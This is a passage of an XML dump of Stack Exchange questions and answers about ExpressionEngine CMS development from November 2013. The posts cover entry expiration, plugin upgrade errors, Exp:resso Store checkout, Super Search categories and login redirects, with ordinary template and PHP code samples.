  <row Id="15366" PostTypeId="1" CreationDate="2013-11-04T18:02:50.230" Score="1" ViewCount="373" Body="&lt;p&gt;I would like an entry to fall off of a Channel Entries loop when X days have passed since the status was changed to X. Is there an easy way to accomplish this? Or even another method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could have them just set the expiration date out X days instead of using the status change method, I was just looking for an easy and intuitive way to accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="28" LastEditDate="2013-11-04T19:53:53.167" LastActivityDate="2013-11-04T23:18:25.797" Title="Expire Entry X days after status changed to X" Tags="|channel-entries|date|expire|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15367" PostTypeId="2" ParentId="15345" CreationDate="2013-11-04T18:19:46.827" Score="0" Body="&lt;p&gt;I had a very similar issue a few months ago. We resolved it by using &lt;a href=&quot;http://www.solspace.com/docs/primary_category&quot; rel=&quot;nofollow&quot;&gt;Solspace Primary Category&lt;/a&gt; and a custom plugin. Barring a plugin, you can accomplish it with the &lt;a href=&quot;http://devot-ee.com/add-ons/activerecord&quot; rel=&quot;nofollow&quot;&gt;Active Record&lt;/a&gt; plugin and &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, use Primary Category to assign the main category for each entry. Then drop this in your template (note how the Stash code at the top is all on one line):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:entry_ids parse_tags='yes' parse_conditionals='yes' no_results_prefix='ar'}{exp:activerecord select='entry_id' from='exp_primary_category' where=&quot;primary_category_id != '32'&quot;}{entry_id}{if total_results &amp;gt; 1}|{/if}{if ar:no_results}0{/if}{/exp:activerecord}{/exp:stash:entry_ids}&#xA;&#xA;{exp:stash:parse process='end'}&#xA;    {exp:channel:entries&#xA;        entry_id='{stash:entry_ids}'&#xA;    }&#xA;        {!-- channel entry data --}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will output only the entries that do &lt;strong&gt;not&lt;/strong&gt; have category 32 assigned as their primary category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash is used so we can create a pipe-delimited list of entry IDs early in the template parsing, then use it later on in the channel entries tag.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-11-04T18:19:46.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15368" PostTypeId="2" ParentId="15364" CreationDate="2013-11-04T18:52:25.567" Score="3" Body="&lt;p&gt;If you're going to be using a form submission to track your project requests all the way through and updating status along the way, I'd think the channel form would be the way to go. With Freeform Pro, you can't really do any editing from the front-end after the initial form is submitted. Users of the control panel can definitely access the form submissions and edit them though, but it seems to me that it may be going a bit beyond what Freeform is designed for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I think it's really just a matter of what you're comfortable with and what accomplishes your needs. Both routes would likely work fine.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-04T18:52:25.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15369" PostTypeId="1" AcceptedAnswerId="15395" CreationDate="2013-11-04T19:06:12.733" Score="0" ViewCount="103" Body="&lt;p&gt;I just updated an EE site from 2.4.0 to 2.7.2. Now going through and updating (many) plugins. I just updated Matrix from 2.4.3 to 2.5.8 and I get the error below while trying to click on Matrix in the Fieldtypes page in the CP. Any help would be awesome, thanks! &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1060&#xA;&#xA;Duplicate column name 'is_draft'&#xA;&#xA;ALTER TABLE `exp_matrix_data` ADD `is_draft` TINYINT(1) UNSIGNED DEFAULT '0'&#xA;&#xA;Filename: third_party/matrix/ft.matrix.php&#xA;&#xA;Line Number: 509&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="603" LastEditorUserId="28" LastEditDate="2013-11-04T19:41:36.563" LastActivityDate="2013-11-05T06:43:13.427" Title="Database error after updating Matrix 2.4.3 to 2.5.8" Tags="|matrix|assets|pixelandtonic|updating|" AnswerCount="1" CommentCount="1" ClosedDate="2013-11-05T17:01:47.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="15370" PostTypeId="1" AcceptedAnswerId="15441" CreationDate="2013-11-04T19:45:07.690" Score="1" ViewCount="90" Body="&lt;p&gt;I've just switched my localization settings for the Daylight Savings folderol. (Something that, admittedly, I haven't done in previous years.) This year, I have over 200 entries in the queue that had their publish times set - and now, with the DST localization change, the publish time has all been changed. Is there a way to globally change entry times? I was looking at &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1479/bulk-entry-status-change&quot;&gt;this question on bulk-entry status updating&lt;/a&gt; to see if I could figure out a way to tweak things, but I'm admittedly not super-strong on SQL syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The changes I want to make are:&lt;br&gt;&#xA;  where an entry is in the future, and the time equals 8:15 AM,&lt;br&gt;&#xA;  change the time to 7:15 AM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forgot to specify: I'm using EE 2.6x&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-11-06T04:10:31.007" Title="Bulk Entry Time Change" Tags="|query|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15371" PostTypeId="1" AcceptedAnswerId="18700" CreationDate="2013-11-04T20:38:33.067" Score="4" ViewCount="405" Body="&lt;p&gt;We're using Store 2.0.1 on EE 2.7.2 and trying to figure out how to get the UPS shipping extension working. I've read and re-read the docs but I'm clearly missing something. :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Docs say:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The UPS Shipping extension will automatically add shipping method&#xA;  options to your checkout. To display the shipping options inside your&#xA;  checkout tag, use the {field:shipping_method} variable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, we have &lt;code&gt;{field:shipping_method}&lt;/code&gt; in our &lt;code&gt;{exp:store:checkout}&lt;/code&gt; tag but all I see is a drop-down with no options. We don't have anything set up in the Shipping Methods of Store's settings. Have I misunderstood the docs?&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-01-23T22:11:19.817" Title="Exp:resso Store + UPS Shipping" Tags="|expresso-store|ups-shipping|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15372" PostTypeId="2" ParentId="15371" CreationDate="2013-11-04T21:04:22.750" Score="1" Body="&lt;p&gt;The docs might be a bit out of date for the latest version of Store. You will want to goto Add-ons &gt; Extensions and enable the UPS plugin. Once it is enabled you will want to click on the settings for the UPS Extension and enter your UPS details and select the boxes for the types of shipping you would like to offer. Once you have done that the &lt;code&gt;{field:shipping_method}&lt;/code&gt; should populate on the front-end of the site now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that you will need to make sure that you have a users shipping details before you try to calculate a rate.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-11-04T21:04:22.750" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15373" PostTypeId="2" ParentId="15353" CreationDate="2013-11-04T21:10:19.630" Score="2" Body="&lt;p&gt;When you are looping through the items in your cart/checkout tags you should add &lt;code&gt;entry_id=&quot;{entry_id}&quot;&lt;/code&gt; to the channel entries tag as the &lt;code&gt;{items}&lt;/code&gt; will allow you to output the entry_id of items in the cart. Your template should look something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA;    {items}&#xA;&#xA;        {exp:channel:entries entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&#xA;            {title}&#xA;        {/exp:channel:entries}&#xA;&#xA;    {/items}&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Having said that you do not need to use a channel entries loop to get the title, url_title and a bunch of other product related info (you can see the entire list &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#items_loop&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;). You only need to use the channel entries loop if you are trying to grab information that you have stored in other custom fields (images, descriptions, etc).&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-11-04T21:10:19.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15374" PostTypeId="1" AcceptedAnswerId="15390" CreationDate="2013-11-04T21:30:24.657" Score="2" ViewCount="399" Body="&lt;p&gt;So I have a part of a site we are working on that has some unusual needs for checkout that I'm wondering how best to accomplish.  It's an online application with an application fee at the end of the process.  The application is all powered by channel:form and what we are hoping to do is have the last page of the form be a credit card form.  We can't figure out how to do a checkout without having them go through an &quot;add to cart&quot; type step?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have two channels, applications and products, and we made a product called &quot;application fee&quot; but can't figure out how to add it to a cart automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second part of the question is that ideally after they pay for an item it would update the application's status field...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are either of these two things possible?&lt;/p&gt;&#xA;" OwnerUserId="727" LastEditorUserId="28" LastEditDate="2013-11-05T03:25:32.080" LastActivityDate="2013-11-05T03:36:34.063" Title="Exp:resso store add item to cart on load" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15375" PostTypeId="2" ParentId="15358" CreationDate="2013-11-04T21:38:37.350" Score="0" Body="&lt;p&gt;Here's the final code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td class=&quot;product_info&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;    if(&quot;{sku}&quot; != &quot;CE_FEE&quot; AND (preg_match(&quot;/^NOTE/&quot;,  &quot;{sku}&quot;) OR&#xA;                                preg_match(&quot;/^PUB/&quot;,   &quot;{sku}&quot;) OR &#xA;                                preg_match(&quot;/^EPUB/&quot;,  &quot;{sku}&quot;) OR&#xA;                                preg_match(&quot;/^JRMMF/&quot;, &quot;{sku}&quot;))) {&#xA;?&amp;gt;&#xA;            &amp;lt;img src=&quot;/media/{image_thumb}&quot; title=&quot;{title}&quot; alt=&quot;{title}&quot; width=&quot;100&quot;&amp;gt;                                     &#xA;&amp;lt;?php&#xA;    }&#xA;?&amp;gt;&#xA;            &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;{exp:brilliant_retail:path src='product/{url_title}'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;            {options}&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td class=&quot;align_center&quot;&amp;gt;{price_html}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td class=&quot;align_center&quot;&amp;gt;&amp;lt;input name=&quot;qty[{hash}]&quot; class=&quot;input_tiny&quot; type=&quot;text&quot; value=&quot;{quantity}&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td class=&quot;align_center&quot;&amp;gt;{subtotal}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{remove_link}&quot;&amp;gt;&amp;lt;img src=&quot;/images/icons/trash.png&quot; alt=&quot;Remove&quot; title=&quot;Remove Item&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2013-11-04T21:38:37.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15376" PostTypeId="2" ParentId="15366" CreationDate="2013-11-04T22:16:01.600" Score="4" Body="&lt;p&gt;I thinks is no such function from the box.  You can make ext. I &lt;a href=&quot;https://github.com/MaxLazar/mx_status_change&quot; rel=&quot;nofollow&quot;&gt;made small example&lt;/a&gt; for you. This ext. don't have any ui for settings, so you will need to setup what you want in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($meta['status'] != $status_prev &amp;amp;&amp;amp; $meta['status'] == &quot;closed&quot; ) &#xA;{&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;meta['expiration_date'] = $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;now + 30*60*60*24; // 30 days +&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-04T22:16:01.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15377" PostTypeId="2" ParentId="15358" CreationDate="2013-11-04T23:07:37.753" Score="2" Body="&lt;p&gt;I see that you have php preg_match but no opening/closing php tags. Are those elsewhere in the code? If not then add opening/closing php tags and see what happens.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-11-04T23:07:37.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15378" PostTypeId="2" ParentId="15192" CreationDate="2013-11-04T23:10:34.333" Score="2" Body="&lt;p&gt;It's relatively new to the market but have a look at &lt;a href=&quot;http://devot-ee.com/add-ons/charge&quot; rel=&quot;nofollow&quot;&gt;Charge&lt;/a&gt; for member billing. Joel is a solid developer and makes great products.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-11-04T23:10:34.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15379" PostTypeId="2" ParentId="15366" CreationDate="2013-11-04T23:18:25.797" Score="1" Body="&lt;p&gt;I use auto_expire for this. &lt;a href=&quot;http://devot-ee.com/add-ons/auto-expire&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/auto-expire&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... automatically expire new entries. It adds a predefined amount of time to the entry date &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;auto_expire just runs an SQL query on entry_date &gt; offset change status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. +1 for swift max_lazar on status change add-on, set expiration_date on status change. &lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-11-04T23:18:25.797" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15380" PostTypeId="1" AcceptedAnswerId="15381" CreationDate="2013-11-05T00:56:08.153" Score="1" ViewCount="70" Body="&lt;p&gt;I'm planning on having two category groups assigned to each one of my entries, with one or more categories selected from each group, for each entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One category group would be &quot;type&quot; and the other &quot;location&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Super Search, would it be possible to build the search form so that each of these category groups had their own select box, and then when the form is submitted, the selected categories from each groups box would be combined into the search string like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=category1&amp;amp;&amp;amp;category2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Essentially what I'm saying is:or can you use a category array search with data from that array coming from multiple inputs?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2013-11-05T02:27:54.193" Title="Super Search: is it possible to search category1&amp;&amp;category2 from two seperate form fields?" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15381" PostTypeId="2" ParentId="15380" CreationDate="2013-11-05T01:07:31.310" Score="1" Body="&lt;p&gt;Yes. This is documented in the &lt;a href=&quot;http://www.solspace.com/docs/super_search/search/#category&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;SuperSearch docs&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;{category_name}&amp;amp;&amp;amp;&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All selects will use &lt;code&gt;name=&quot;category[]&quot;&lt;/code&gt; and option values will have &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; at the end&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-05T02:27:54.193" LastActivityDate="2013-11-05T02:27:54.193" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15382" PostTypeId="1" CreationDate="2013-11-05T01:29:46.633" Score="3" ViewCount="267" Body="&lt;p&gt;EE 2.7.2&#xA;Structure 3.3.13&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a site where I have a front end login form that is on all pages as a modal when clicking the login link in the header. Everything works fine, however for the redirect=&quot;&quot; parameter I would like the form to redirect to the page it was filled out on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:member:login_form return=&quot;{page_url}&quot;}&#xA;    &amp;lt;label&amp;gt;Username&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&#xA;&#xA;    &amp;lt;label&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;button small&quot;&amp;gt;&#xA;  {/exp:member:login_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;results in a broken url &lt;a href=&quot;http://domain.com/%7Bpage_url%7D&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/%7Bpage_url%7D&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and a white page with this message&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The URI you submitted has disallowed characters.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried using low variables and preparsing the {page_url} (same as embedding a template) but that also did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get the {page_url} to work in the login form?&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="28" LastEditDate="2013-11-05T04:02:06.750" LastActivityDate="2013-11-05T21:13:27.917" Title="Front end login redirect to {page_url} with structure, how to make this work" Tags="|structure|login|redirects|member-management|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15383" PostTypeId="2" ParentId="15382" CreationDate="2013-11-05T01:45:49.473" Score="1" Body="&lt;p&gt;Sounds like it's just not parsing your {page_url} -- try parse=&quot;inward&quot;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;{page_url}&quot; parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="963" LastEditorUserId="28" LastEditDate="2013-11-05T04:02:31.517" LastActivityDate="2013-11-05T04:02:31.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15384" PostTypeId="1" CreationDate="2013-11-05T01:55:58.243" Score="1" ViewCount="93" Body="&lt;p&gt;Is there a way to set the &quot;screen name&quot; dynamically for a member via &lt;code&gt;{exp:channel:forms}&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only see &lt;code&gt;dynamic_title&lt;/code&gt; parameter. Is there a way to do this for screen name?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-03-05T05:55:28.950" Title="Setting screen name dynamically in channel forms" Tags="|channel-form|screen-name|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15386" PostTypeId="2" ParentId="15382" CreationDate="2013-11-05T02:31:18.933" Score="4" Body="&lt;p&gt;Use the &lt;a href=&quot;http://www.buildwithstructure.com/tags/global_variables/&quot; rel=&quot;nofollow&quot;&gt;Structure global variable&lt;/a&gt; &lt;code&gt;{structure:page:uri}&lt;/code&gt; which is the same as EE's native &quot;page_url&quot; variable.&lt;/p&gt;&#xA;" OwnerUserId="149" LastEditorUserId="28" LastEditDate="2013-11-05T04:04:13.447" LastActivityDate="2013-11-05T04:04:13.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15387" PostTypeId="2" ParentId="15364" CreationDate="2013-11-05T03:06:04.760" Score="1" Body="&lt;p&gt;I would do Channel Entries with Channel Form (safecracker) as that will give you much more control over how you interact with and edit the data after its submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are other systems that would do this more easily out of the box. Maybe even just set up a Trello board? (&lt;a href=&quot;https://trello.com/&quot; rel=&quot;nofollow&quot;&gt;https://trello.com/&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each request would be a new card in Trello. You can use labels for status. Simply drag to re-order cards for urgency/priority. You can add comments and upload files to each card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the details like billed, project #, sent?, etc. might need to be simple comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not Trello, you could try a issue tracking/ticket system, or a more complete project management tool.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2013-11-05T03:06:04.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15388" PostTypeId="2" ParentId="15384" CreationDate="2013-11-05T03:17:44.123" Score="1" Body="&lt;p&gt;I don't see in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/#form-inputs&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;channel:forms docs&lt;/strong&gt;&lt;/a&gt; that you can set screen_name with this tag.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-05T03:23:11.070" LastActivityDate="2013-11-05T03:23:11.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15389" PostTypeId="1" AcceptedAnswerId="16712" CreationDate="2013-11-05T03:24:02.903" Score="4" ViewCount="140" Body="&lt;p&gt;I have a test tag where it's pulling data from a Native Relationship here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://staging.sewcratic.com/export/test&quot; rel=&quot;nofollow&quot;&gt;http://staging.sewcratic.com/export/test&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code under the &quot;Data&quot; header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;patterns&quot; limit=&quot;1&quot; status=&quot;Open|Closed&quot;}&#xA;    &amp;lt;p&amp;gt;{title}&amp;lt;p&amp;gt;&#xA;    &amp;lt;p&amp;gt;designer_label: {designer_label}{designer_label:entry_id}{/designer_label}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;design_label2: {design_label2 status=&quot;Open|Closed|Draft|Edited|Proofread&quot;}{design_label2:title}{/design_label2}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;pattern_groups2: {pattern_groups2 backspace=&quot;1&quot;}{pattern_groups2:entry_id},{/pattern_groups2}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;pattern_company2: {pattern_company2}{pattern_company2:entry_id}{/pattern_company2}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The fields {designer_label} and {pattern_groups2} are pulling, while {design_label2} does not. I've added all statuses to the {design_label2} tag, but does not seem to be working. Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="28" LastEditDate="2013-11-05T03:41:38.733" LastActivityDate="2013-11-23T10:45:32.927" Title="Status parameter in native EE Relationship field" Tags="|relationships|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15390" PostTypeId="2" ParentId="15374" CreationDate="2013-11-05T03:29:32.413" Score="4" Body="&lt;p&gt;There are several answers on this site that will help with adding a product to the cart.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;This one is for a single page donate process:&lt;br&gt;&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/11037/28&quot;&gt;https://expressionengine.stackexchange.com/a/11037/28&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This one is for adding to the cart using Ajax:&lt;br&gt;&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/6086/28&quot;&gt;https://expressionengine.stackexchange.com/a/6086/28&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another using Ajax:&lt;br&gt;&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/11607/28&quot;&gt;https://expressionengine.stackexchange.com/a/11607/28&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A couple options for changing the status after payment is complete:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Build an Extension using the Exp:resso Store &lt;code&gt;store_order_complete_end&lt;/code&gt; hook:&lt;br&gt;&#xA;&lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html#store_order_complete_end&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://exp-resso.com/docs/extension_hooks.html#store_order_complete_end&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add channel:form to the order &quot;success page&quot; and set the status in a hidden input... then submit the form using Ajax.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-11-05T03:36:34.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15391" PostTypeId="2" ParentId="15365" CreationDate="2013-11-05T03:56:19.080" Score="2" Body="&lt;p&gt;I'd suggest reuploading the Matrix theme files. It's possible they were missed or corrupted  if you recently upgraded.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-05T03:56:19.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15392" PostTypeId="2" ParentId="10092" CreationDate="2013-11-05T03:59:26.940" Score="0" Body="&lt;p&gt;Another short &amp;amp; sweet way to write the conditional is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if deal_original_price}STUFF HERE{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-05T03:59:26.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15393" PostTypeId="1" AcceptedAnswerId="15406" CreationDate="2013-11-05T05:23:07.517" Score="3" ViewCount="117" Body="&lt;p&gt;Is there any way to parse tags exp:channel in a third party module.&#xA;In my custom module I need to call exp:channel, but need to get entry ids before final rendering of the module.&#xA;Can anyone know how to parse exp calls before rendering the module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="2126" LastEditorUserId="197" LastEditDate="2013-11-05T13:24:34.703" LastActivityDate="2013-11-06T13:18:36.837" Title="Parse exp:channel" Tags="|channel-entries|add-on-development|parse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15394" PostTypeId="1" CreationDate="2013-11-05T06:24:29.160" Score="1" ViewCount="629" Body="&lt;p&gt;I am using channel:form to allow users to upload an event listing. One of the fields is for an event poster which is a file field. It all works fine except the way it displays on the front end is not at all as expected and very confusing for the end user I would think. This is how it looks when it first loads up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KEjl8.jpg&quot; alt=&quot;File Field on load&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems strange that it starts with the file icon when none has been selected yet and it has the undo remove link when a file hasn't been removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking the X on the image icon works as expected as does undo remove. If you actually use the browse button and select an image though there does not seem to be a way to remove it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read through whatever questions I could find on file fields on here and can confirm I am loading jquery 1.7.2 and there are no errors displayed on console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only other fields on the form are a wygwam field and a low events field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the template code for reference. Stash is being used to output the javascript at the end of the body after the jquery call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {if logged_in}&#xA;          {exp:channel:form channel=&quot;events-board&quot; return=&quot;&quot; include_jquery=&quot;no&quot; include_assets=&quot;no&quot;}&#xA;            &amp;lt;label for=&quot;title&quot;&amp;gt;Event Name&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input 